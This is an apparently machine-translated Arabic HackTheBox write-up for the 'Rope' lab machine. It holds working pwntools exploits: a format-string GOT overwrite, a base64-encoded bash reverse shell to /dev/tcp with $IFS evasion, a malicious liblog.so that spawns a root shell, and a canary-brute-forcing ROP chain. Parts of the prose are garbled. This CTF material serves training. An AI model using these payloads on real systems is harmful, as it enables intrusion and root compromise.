أواصل نشر الحلول المرسلة للمعالجة الإضافية من موقع HackTheBox .في هذه المقالة ، نجمع العديد من pwn ، والتي سنحلها باستخدام pwntools. أعتقد أنه سيكون مفيدًا للقراء الذين لديهم أي مستوى من الوعي في هذا الموضوع. دعنا نذهب ...الاتصال بالمختبر عبر VPN. من المستحسن عدم الاتصال من كمبيوتر العمل أو من مضيف حيث تتوفر البيانات المهمة بالنسبة لك ، حيث ينتهي بك الأمر على شبكة خاصة مع أشخاص يعرفون شيئًا في مجال أمن المعلومات :)المعلومات التنظيمية, ,
Telegram . , ,
.
. , - , .
ريكون
يحتوي هذا الجهاز على عنوان IP 10.10.10.148 ، والذي أضيفه إلى / etc / hosts.10.10.10.148 rope.htb
أولاً ، نقوم بمسح المنافذ المفتوحة. نظرًا لأنه يستغرق وقتًا طويلاً لفحص جميع المنافذ باستخدام nmap ، سأفعل ذلك أولاً مع ماسكان. نقوم بمسح جميع منافذ TCP و UDP من واجهة tun0 بسرعة 500 حزمة في الثانية.masscan -e tun0 -p1-65535,U:1-65535 10.10.10.148 --rate=500
الآن ، للحصول على معلومات أكثر تفصيلاً حول الخدمات التي تعمل على المنافذ ، سنقوم بإجراء مسح ضوئي باستخدام الخيار -A.nmap -A rope.htb -p22,9999
يقوم المضيف بتشغيل SSH وخادم ويب. سننشر على الويب وسنتلقى استمارة تفويض.
عند عرض مسح الدليل ، نحصل على دليل غير مفهرس / (http: //rope.htb: 9999 //).
وفي الدليل / opt / www نجد الملف القابل للتنفيذ - هذا هو خادم الويب الخاص بنا.
HTTPserver PWN
قم بتنزيله وشاهد ما هي الحماية مع checkec.
وبالتالي ، لدينا تطبيق 32 بت مع جميع وسائل الحماية النشطة ، وهي:- NX (not execute) — , , , ( ) , , , . .
- ASLR: (libc), libc. ret2libc.
- PIE: , ASLR, , . .
- Canary: , , . , . .
نظرًا لحقيقة أنه يمكننا قراءة الملفات على الخادم ، يمكننا قراءة خريطة العملية لهذا الملف القابل للتنفيذ. هذا سوف يعطينا الإجابة على الأسئلة التالية:- ما العنوان الذي يتم تنزيل البرنامج عليه؟
- وفي أي عنوان يتم تحميل المكتبات التي تستخدمها؟
لنفعل ذلك.curl "http://rope.htb:9999//proc/self/maps" -H 'Range: bytes=0-100000'
وبالتالي ، لدينا عنوانان: 0x56558000 و f7ddc000. في الوقت نفسه ، نحصل على المسار إلى مكتبة libc المستخدمة ، ونقوم بتنزيلها أيضًا. الآن ، مع الأخذ في الاعتبار كل شيء موجود ، سنقوم بإنشاء قالب استغلال.from pwn import *
import urllib
import base64
host = 'rope.htb'
port = 9999
context.arch = 'i386'
binary= ELF('./httpserver')
libc = ELF('./libc-2.27.so')
bin_base = 0x56558000
libc_base = 0xf7ddc000
الآن افتح الملف نفسه لتحليله في أداة تفكيك ملائمة لك (مع أداة فك الشفرة). أستخدم IDA مع مجموعة من المكونات الإضافية ، وقبل الدخول في تحليل عميق ، أفضل النظر في كل شيء يمكنني جمع مكونات إضافية مثبتة. واحدة من العديد من هذه هي LazyIDA . وبالنسبة لطلب البحث "مسح سلسلة التنسيق vuln" نحصل على لوحة مع وظائف محتملة الضعف.
من تجربة استخدام هذا البرنامج المساعد ، وجهت الانتباه على الفور إلى السطر الثاني (معلمة تنسيقه). ننتقل إلى مكان استخدام هذه الوظيفة ونقوم بفكها.
ويتم تأكيد التخمينات ، ويتم تمرير الخط ببساطة إلى وظيفة printf. دعنا نكتشف ما هي هذه السلسلة. دعنا نذهب إلى مكان الاستدعاء لوظيفة log_access.
لذلك نحن مهتمون بالمعلمة الثالثة ، التي كانت تميز المؤسسة الدولية للتنمية كملف. ولا نحصل على إجابات لجميع الأسئلة إلا من خلال النظر إلى الإسنادات الترافقية لهذا المتغير.
وبالتالي ، هذا مؤشر إلى سلسلة - اسم الملف المفتوح للقراءة. نظرًا لأن هذا المتغير هو نتيجة دالة parse_request () ، يتم فتح الملف للقراءة ، والبرنامج بأكمله هو خادم ويب ، يمكننا أن نفترض أن هذه هي الصفحة المطلوبة على الخادم.curl http://127.0.0.1:9999/qwerty
دعونا نتحقق من ثغرة سلسلة التنسيق.curl http://127.0.0.1:9999/$(python -c 'print("AAAA"+"%25p"*100)')
غرامة! دعونا نحدد الإزاحة (عدد محددات٪ p التي يجب إرسالها للحصول على 0x41414141 - AAAA في نهاية الإخراج).
نحصل على 53. تحقق من صحة كل شيء.curl http://127.0.0.1:9999/$(python -c 'print("AAAA"+"%25p"*53)')
لا يمكننا الحصول على صدفة محلية ، ولكن يمكننا تنفيذ أمر ، على سبيل المثال ، إلقاء قذيفة عكسية:bash -i >& /dev/tcp/10.10.15.60/4321 0>&1
ولكن لتجنب أي أحرف غير مريحة ، سنقوم بتشفيرها في base64 ، ثم ستبدو مكالمة shell كما يلي:echo “YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS42MC80MzIxIDA+JjEK” | base64 -d | bash -i
وفي النهاية ، استبدل جميع المسافات ببنية $ IFS. نحصل على الأمر الذي تحتاج إلى تنفيذه للحصول على الاتصال الخلفي.echo$IFS"YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS42MC80MzIxIDA+JjEK"|base64$IFS-d|bash$IFS-i
دعنا نضيف هذا إلى الرمز:offset = 53
cmd = 'bash -i >& /dev/tcp/10.10.15.60/4321 0>&1'
shell = 'echo$IFS"{}"|base64$IFS-d|bash$IFS-i'.format(base64.b64encode(cmd))
نعود الآن إلى سلسلة التنسيق الخاصة بنا. بما أن putsf يسمى بعد printf () ، يمكننا إعادة كتابة عنوانه في GOT إلى عنوان وظيفة النظام من libc. بفضل pwntools ، من السهل جدًا القيام بذلك. افترض أنه يمكنك الحصول على العنوان النسبي لوظيفة puts باستخدام binary.got ['puts] ، بسهولة أيضًا مع وظيفة النظام: libc.symbols [' system ']. حول خطوط التنسيق و GOT التي وصفتها بالتفصيل في مقالات حول pwn ، لذلك هنا نقوم ببساطة بجمع خط التنسيق باستخدام pwntools:writes = {(elf_base + binary.got['puts']): (libc_base + libc.symbols['system'])}
format_string = fmtstr_payload(offset, writes)
نقوم بجمع الحمولة النهائية:payload = shell + " /" + urllib.quote(format_string) + "\n\n"
نقوم بتوصيل وإرسال:p = remote(host,port)
p.send(payload)
p.close()
يبدو الرمز الكامل مثل هذا.
دعنا ننفذ الرمز ونحصل على الاتصال مرة أخرى.

المستعمل
دعونا نتحقق من إعدادات sudo لتنفيذ الأوامر بدون كلمة مرور.
ونرى أنه يمكنك تنفيذ عمليات القراءة نيابة عن المستخدم r4j. لا توجد نقاط ضعف في التطبيق ، GTFOBins غائبة أيضًا. دعنا نرى المكتبات التي يستخدمها التطبيق.
ls -l /lib/x86_64-linux-gnu/ | grep "liblog.so\|libc.so.6"
أي أنه يمكننا الكتابة إلى هذه الملفات. لنكتب مكتبتنا.#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdlib.h>
void printlog(){
setuid(0);
setgid(0);
system("/bin/sh");
}
الآن تجميعها.gcc -c -Wall -Werror -fpic liblog.c
وجمع المكتبة.Gcc -shared -o liblog.so liblog.o
ثم نقوم بتحميل الملف إلى المضيف ، ونستبدل المكتبة وننفذ البرنامج.
لذلك نأخذ المستخدم.جذر
لسرد النظام نستخدم linpeas.
إذاً على المضيف المحلي ، فإن المنفذ 1337 يستمع.
كما ترى ، مستخدمنا عضو في مجموعة adm. دعنا نلقي نظرة على الملفات المتاحة لهذه المجموعة.
هناك ملف مثير للاهتمام. وهذا هو البرنامج الذي يستمع على المنفذ.
في هذه الحالة ، يعمل التطبيق كجذر.
قم بتنزيل التطبيق نفسه ومكتبة libc التي يستخدمها. ولاحظ أن ASLR نشط على المضيف.
تحقق من حماية التطبيق.
الكل إلى أقصى حد. أي ، إذا وجدنا تجاوزًا في سعة المخزن المؤقت ، فسوف نحتاج إلى تخمين الكناري (القيمة التي تم التحقق منها قبل الخروج من الوظيفة للتحقق من سلامة المخزن المؤقت) ، وكأسلوب لاستغلال الثغرة الأمنية ، سنستخدم ROP (التي كتبت عنها ببعض التفاصيلهنا ). دعونا نفتح البرنامج في أي أداة تفكيك بمحلل ملائم لك (أستخدم IDA Pro). نقوم بفك الوظيفة الرئيسية الرئيسية.
مثال على الكناري هو المتغير v10 ، الذي تم تعيينه في بداية الدالة. دعونا نرى ما هي وظيفة sub_1267 المسؤولة عنها.
حتى هنا نفتح المنفذ للاستماع. يمكنك إعادة تسميته إلى is_listen () ؛ نذهب أبعد من ذلك. الوظيفة التالية المعرفة من قبل المستخدم هي sub_14EE.
قبل الإرسال ، هناك وظيفة مستخدم أخرى. نحن ننظر إليها.
وهكذا ، في هذه الوظيفة ، يتم تلقي سلسلة تصل إلى 0x400 بايت وكتابتها في المخزن المؤقت. يشير التعليق على buf المتغير إلى العنوان المتعلق بقاعدة إطار المكدس الحالي (rbp) - [rbp-40h] ، وللمتغير v3 (canary) عنوان نسبي [rbp-8h] ، لذلك بالنسبة إلى تجاوز سعة المخزن المؤقت ، نحتاج إلى المزيد [rbp- 8 س] - [rbp-40h] = 0x40-8 = 56 بايت.وبذلك تكون الخطة على النحو التالي:- إيجاد وتجاوز العازلة ؛
- اخماد الكناري ، rbp وتمزق ؛
- نظرًا لأن PIE نشط ، فأنت بحاجة إلى العثور على الإزاحة الفعلية ؛
- إيجاد تسرب للذاكرة لحساب العنوان الذي يتم تحميل المكتبة عليه ؛
- اجمع ROP ، حيث سيتم إعادة توجيه دفق الواصفات القياسية إلى واصف الشبكة للبرنامج ، ثم استدعاء / bin / sh من خلال وظيفة النظام.
1. تجاوز سعة المخزن المؤقت
كما هو موضح أدناه ، عند إرسال 56 بايت ، يستمر البرنامج في العمل بشكل طبيعي ، ولكن إرسال 57 بايت ، نحصل على استثناء. وبالتالي ، يتم انتهاك سلامة العازلة.
دعونا نجعل قالب استغلال. نظرًا لأنه سيكون من الضروري فرز الكثير وإعادة توصيله ، فسوف نقوم بتعطيل إخراج رسائل pwntools (log_level).
from pwn import *
HOST = '127.0.0.1'
PORT = 1337
context(os = "linux", arch = "amd64", log_level='error')
pre_payload = "A" * 56
r = remote(HOST, PORT)
context.log_level='info'
r.interactive()
2.Canary ، RBP ، RIP
كما اكتشفنا ، بعد 56 بايت من المخزن المؤقت ، هناك كناري ، وبعد ذلك هناك عناوين RBP و RIP في المكدس ، والتي تحتاج أيضًا إلى فرزها. دعنا نكتب دالة مطابقة 8 بايت.def qword_brute(pre_payload, item):
qword_ = b""
while len(qword_) < 8:
for b in range(256):
byte = bytes([b])
try:
r = remote(HOST, PORT)
print(f"{item} find: {(qword_ + byte).hex()}", end=u"\u001b[1000D")
send_ = pre_payload + qword_ + byte
r.sendafter(b"admin:", send_)
if b"Done" not in r.recvall(timeout=5):
raise EOFError
r.close()
qword_ += byte
break
except EOFError as error:
r.close()
context.log_level='info'
log.success(f"{item} found: {hex(u64(qword_))}")
context.log_level='error'
return qword_
حتى نتمكن من إنشاء التحميل المسبق:pre_payload = b"A" * 56
CANARY = qword_brute(pre_payload, "CANARY")
pre_payload += CANARY
RBP = qword_brute(pre_payload, "RBP")
pre_payload += RBP
RIP = qword_brute(pre_payload, "RIP")
3. فطيرة
الآن دعونا نتعامل مع PIE. وجدنا RIP - هذا هو عنوان الإرجاع حيث نعود من الوظيفة. وبالتالي ، يمكننا طرح منه عنوان المرسل في الكود.
وبالتالي ، فإن الإزاحة من القاعدة هي 0x1562. دعنا نشير إلى العنوان الحقيقي للتطبيق قيد التشغيل.base_binary = u64(RIP) - 0x1562
binary = ELF('./contact')
binary.address = base_binary
libc = ELF('./libc.so.6')
4. تسرب الذاكرة
يستخدم التطبيق وظيفة الكتابة القياسية () لعرض سلسلة المطالبة ، والتي تأخذ مقبضًا للإخراج والمخزن المؤقت وحجمه. يمكننا استخدام هذه الوظيفة.من أجل الراحة ، دعنا نستخدم وحدة ROP من pwntools. باختصار ، كيف ولماذا يتم تقديم هذا العمل في الصورة أدناه.
دعونا نحصل على تسرب ، سيتيح لنا ذلك معرفة العنوان الذي توجد فيه وظيفة الكتابة في مكتبة libc المحملة.rop_binary = ROP(binary)
rop_binary.write(0x4, binary.got['write'], 0x8)
send_leak = pre_payload + flat(rop_binary.build())
r = remote(HOST, PORT)
r.sendafter(b"admin:", send_leak)
leak = r.recvall().strip().ljust(8, b'\x00')
print(f"Leak: {hex(u64(leak))}")
base_libc = leak - libc.symbols['write']
5.ROP
دعنا نغير العنوان الأساسي لمكتبة libc ونعثر على عنوان السطر / bin / sh.libc.address = base_libc
shell_address = next(libc.search(b"/bin/sh\x00"))
يبقى جمع ROP ، حيث سيتم إعادة توجيه واصفات الإدخال / الإخراج القياسية (0،1،2) إلى الواصف المسجل في البرنامج (4). بعد ذلك سيتم استدعاء وظيفة النظام ، حيث سنقوم بتمرير عنوان السطر / bin / sh.rop_libc = ROP(libc)
rop_libc.dup2(4, 0)
rop_libc.dup2(4, 1)
rop_libc.dup2(4, 2)
rop_libc.system(shell_address)
payload = pre_payload + flat(rop_libc.build())
r = remote(HOST, PORT)
r.sendafter(b"admin:", payload)
time.sleep(2)
r.sendline(b"id")
6. عمليةكود استغلال كامل.
الآن على الخادم ، اكتب مفتاح ssh للملف /home/r4j/.ssh/authorizef_keys.
وأعد توجيه المنفذ (تأكد من إعادة توجيه الاتصال من المنفذ المحلي 1337 عبر SSH إلى المنفذ 1337 للمضيف البعيد).ssh -L 1337:127.0.0.1:1337 -i id_rsa r4j@rope.htb
وإطلاق استغلال.
نحن نعمل تحت الجذر.يمكنك الانضمام إلينا على Telegram . هناك يمكنك العثور على مواد مثيرة للاهتمام ، ودورات مدمجة ، بالإضافة إلى البرامج. دعونا نجمع مجتمعًا سيكون فيه أناس على دراية في العديد من مجالات تكنولوجيا المعلومات ، ثم يمكننا دائمًا مساعدة بعضنا البعض في أي قضايا تتعلق بتكنولوجيا المعلومات وأمن المعلومات.